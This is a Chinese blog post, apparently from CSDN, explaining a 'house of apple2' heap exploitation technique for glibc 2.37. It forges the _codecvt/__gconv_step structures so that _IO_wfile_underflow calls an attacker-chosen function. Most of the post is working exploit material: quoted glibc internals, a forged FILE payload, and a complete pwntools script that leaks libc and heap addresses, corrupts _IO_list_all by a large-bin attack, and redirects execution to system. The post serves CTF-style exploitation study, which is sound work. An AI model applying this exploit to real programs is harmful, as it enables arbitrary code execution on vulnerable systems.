探究高版本glibc(2.37)下对house of apple2的利用(2)

文章详细探讨了在glibc2.37版本下如何构建针对houseofapple2漏洞的利用,通过操纵_codecvt成员来调用__libio_codecvt_in,进而实现任意函数执行。利用过程包括构造fake_io结构体,控制执行流,最终达到系统调用的目的。
摘要由CSDN通过智能技术生成

此文我们将继续探究在高版本glibc(2.37)下使用house of apple2这次的利用
关于前文在下面的链接
探究高版本glibc(2.37)下对house of apple2的利用(1)
调用链:

  1. exit或者main函数返回
  2. _IO_flush_all_lockp
  3. _IO_wfile_underflow(能调用__libio_codecvt_in都行)
  4. __libio_codecvt_in
  5. DL_CALL_FCT

这次我们的利用不在_wide_data上面停留而是将重心放在相邻的成员_codecvt上面.如图

在这里插入图片描述
所谓_codecvt就是指向_IO_codecvt的指针下面是该结构体的定义。该结构体主要参与字符转换的工作。

struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};

_IO_codecvt包含了另外一个结构体_IO_iconv_t 这个结构体被定义为

typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

这里包含了两个结构体

struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;// 指针保护置为0即可
  const char *__modname;
 
  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;
 
  char *__from_name;
  char *__to_name;
 
  __gconv_fct __fct;// 任意地址执行
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;
 
  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;
 
  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;
 
  void *__data;        /* Pointer to step-local data.  */
};
struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
                 buffer.  */
 
  /* Is this the last module in the chain.  */
  int __flags;
 
  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;
 
  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;
 
  __mbstate_t *__statep;
  __mbstate_t __state;    /* This element must not be used directly by
               any module; always use STATEP!  */
};
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)//pass
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))//pass
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)//pass
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)//进入
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
	fp->_wide_data->_IO_buf_base;
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,//进入目标
				   fp->_IO_read_ptr, fp->_IO_read_end,
				   &read_stop,
				   fp->_wide_data->_IO_read_ptr,
				   fp->_wide_data->_IO_buf_end,
				   &fp->_wide_data->_IO_read_end);

如上伪造结构体

fake_io = p64(0x500) + p64(1) + p64(0) + p64(1)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_base + 0xc00)#_codecvt
fake_io += p64(heap_base + 0xb28)#_wide_data
fake_io = fake_io.ljust(0xc8,b'\x00') + p64(io_wfile_jumps + 8)#vtable call __GI__IO_wfile_underflow
fake_io = fake_io.ljust(0xf0,b'\x00') + p64(heap_base + 0xc08) + b'\x00' * 0x28 + p64(sys_addr)
#struct __gconv_step *step  call function

成功进入__libio_codecvt_in
在这里插入图片描述

在这里插入图片描述
成功执行任意函数
ps:由于rdi、指向的是指针保护的位置,而这个位置我们一开始就置为0了。所以建议使用magic跳转执行或者如果一定要控制rdi可以写一个函数用于解密
最后脚本如下:

from pwn import *

p=process('./pwn')
libc = ELF('/glibc/x64/2.37/lib/libc.so.6')

def add(size,data):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'1')
 p.recvuntil(b'size:')
 p.sendline(str(size).encode())
 p.sendline(data)
 
def free(idx):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'2')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
def edit(idx,data):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'3')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
 p.recvuntil(b'input:')
 p.sendline(data)
def show(idx):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'4')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
def gd():
 gdb.attach(p)
 pause() 
libc_base = int(p.recv(14),16) - libc.sym['puts']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
add(0x420,b'a')
add(0x438,b'a')
add(0x418,b'a')
free(1)
add(0x440,b'a')
edit(1,b'a' * 0x10)
show(1)
p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x20a
io_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(heap_base))
free(3)

fake_io = p64(0x500) + p64(1) + p64(0) + p64(1)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_base + 0xc00)#_codecvt
fake_io += p64(heap_base + 0xb28)#_wide_data
fake_io = fake_io.ljust(0xc8,b'\x00') + p64(io_wfile_jumps + 8)#vtable
fake_io = fake_io.ljust(0xf0,b'\x00') + p64(heap_base + 0xc08) + b'\x00' * 0x28 + p64(sys_addr)
#struct __gconv_step *step  call function

add(0x418,b'a')
free(5)
edit(1,p64(libc_base + 0x1d20d0) * 2 + p64(heap_base + 0x290) + p64(io_list_all_addr - 0x20))
add(0x440,b'a')
edit(3,fake_io)
add(0x430,b'a')
add(0x430,b'a')
add(0x430,b'a')
free(6)
add(0x450,p64(1) + p64(0))
free(8)
gd() 
#add(0x470,b'a')
p.interactive() 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值